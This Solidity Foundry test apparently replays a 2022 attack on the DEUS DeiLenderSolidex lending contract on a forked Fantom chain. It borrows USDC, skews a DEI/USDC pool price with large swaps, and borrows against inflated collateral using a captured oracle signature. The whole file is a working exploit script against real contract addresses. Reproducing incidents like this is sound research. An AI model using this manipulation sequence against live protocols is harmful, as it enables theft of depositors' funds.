src/test/2022-04/deus_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7contract ContractTest is Test {
8    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
9 
10    IBaseV1Router01 router = IBaseV1Router01(0xa38cd27185a464914D3046f0AB9d43356B34829D);
11 
12    IDeiLenderSolidex DeiLenderSolidex = IDeiLenderSolidex(0x8D643d954798392403eeA19dB8108f595bB8B730);
13 
14    IUSDC usdc = IUSDC(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);
15 
16    IERC20 dei = IERC20(0xDE12c7959E1a72bbe8a5f7A1dc8f8EeF9Ab011B3);
17 
18    ISSPv4 sspv4 = ISSPv4(0xbe9dE5747317F27f9A39ea5924ed4c51b34fB0d1);
19 
20    IERC20 lpToken = IERC20(0x5821573d8F04947952e76d94f3ABC6d7b43bF8d0);
21 
22    IERC20 DepositToken = IERC20(0xD82001B651F7fb67Db99C679133F384244e20E79);
23 
24    address owner_of_usdc = 0xC564EE9f21Ed8A2d8E7e76c085740d5e4c5FaFbE;
25 
26    ILpDepositor LpDepositor = ILpDepositor(0x26E1A0d851CF28E697870e1b7F053B605C8b060F);
27 
28    IOracle oracle = IOracle(0x8129026c585bCfA530445a6267f9389057761A00);
29 
30    function setUp() public {
31        cheat.createSelectFork("fantom", 37_093_708); // fork fantom at block 37093708
32    }
33 
34    function testExample() public {
35        cheat.prank(owner_of_usdc);
36 
37        usdc.Swapin(
38            0x33e48143c6ea17476eeabfa202d8034190ea3f2280b643e2570c54265fe33c98, address(this), 150_000_000 * 10 ** 6
39        );
40 
41        uint256 balance_of_usdc = usdc.balanceOf(address(this));
42 
43        emit log_named_uint("The USDC I have now", balance_of_usdc);
44 
45        usdc.approve(address(sspv4), type(uint256).max);
46 
47        sspv4.buyDei(1_000_000 * 10 ** 6);
48 
49        uint256 balance_of_dei = dei.balanceOf(address(this));
50 
51        emit log_named_uint("The DEI after buying DEI", balance_of_dei);
52 
53        balance_of_usdc = usdc.balanceOf(address(this));
54 
55        emit log_named_uint("The USDC after buying DEI", balance_of_usdc);
56 
57        usdc.approve(address(router), type(uint256).max);
58 
59        dei.approve(address(router), type(uint256).max);
60 
61        router.addLiquidity(
62            address(dei),
63            address(usdc),
64            true,
65            894_048_109_294_000_000_000_000,
66            965_495_000_000,
67            876_167_147_108_120_000_000_000,
68            946_185_100_000,
69            address(this),
70            block.timestamp
71        );
72 
73        uint256 balance_of_LpToken = lpToken.balanceOf(address(this));
74 
75        emit log_named_uint("The LPToken After adding Liquidity", balance_of_LpToken);
76 
77        lpToken.approve(address(LpDepositor), type(uint256).max);
78 
79        LpDepositor.deposit(address(lpToken), balance_of_LpToken);
80 
81        balance_of_LpToken = lpToken.balanceOf(address(this));
82 
83        uint256 balance_of_DepositToken = DepositToken.balanceOf(address(this));
84 
85        emit log_named_uint("The DepositToken After depositting LPtoken", balance_of_DepositToken);
86 
87        DepositToken.approve(address(DeiLenderSolidex), type(uint256).max);
88 
89        DeiLenderSolidex.addCollateral(address(this), balance_of_DepositToken);
90 
91        balance_of_DepositToken = DepositToken.balanceOf(address(this));
92 
93        emit log_named_uint("The DepositToken After addCollateral", balance_of_DepositToken);
94 
95        balance_of_usdc = usdc.balanceOf(address(this));
96 
97        emit log_named_uint("The USDC I have now", balance_of_usdc);
98 
99        usdc.approve(address(router), type(uint256).max);
100 
101        router.swapExactTokensForTokensSimple(
102            143_200_000_000_000, 0, address(usdc), address(dei), true, address(this), block.timestamp
103        );
104 
105        balance_of_dei = dei.balanceOf(address(this));
106 
107        emit log_named_uint("The DEI I have after swapping", balance_of_dei);
108 
109        SchnorrSign memory sig = SchnorrSign(
110            1_835_036_472_718_200_664_753_898_924_933_875_196_349_373_787_186_253_604_571_797_551_094_739_683_650,
111            0xF096EC73cB49B024f1D93eFe893E38337E7a099a,
112            0xD58D8931b98942EE19C431B72f4Bc8B3eD28d8DF
113        );
114 
115        SchnorrSign[] memory sigs = new SchnorrSign[](1);
116 
117        sigs[0] = sig;
118 
119        bytes memory repID = "0x01701220183a8e97b39ebe3c38b6166cd7c9ddfe3c38fd76352e5652b9c25467aa47b040";
120 
121        uint256 price = oracle.getOnChainPrice();
122 
123        emit log_named_uint("The price from Oracle", price);
124 
125        cheat.warp(1_651_113_560);
126 
127        emit log_named_uint("the time now", block.timestamp);
128 
129        DeiLenderSolidex.borrow(
130            address(this),
131            17_246_885_701_212_305_622_476_302,
132            20_923_953_265_992_870_251_804_289,
133            1_651_113_560,
134            repID,
135            sigs
136        );
137 
138        balance_of_dei = dei.balanceOf(address(this));
139 
140        emit log_named_uint("The DEI after borrowing", balance_of_dei);
141 
142        router.swapExactTokensForTokensSimple(
143            12_000_000_000_000_000_000_000_000, 0, address(dei), address(usdc), true, address(this), block.timestamp
144        );
145 
146        usdc.transfer(owner_of_usdc, 150_000_000 * 10 ** 6);
147 
148        balance_of_dei = dei.balanceOf(address(this));
149 
150        balance_of_usdc = usdc.balanceOf(address(this));
151 
152        emit log_named_uint("The USDC after paying back", balance_of_usdc);
153 
154        emit log_named_uint("The DEI after paying back", balance_of_dei);
155    }
156}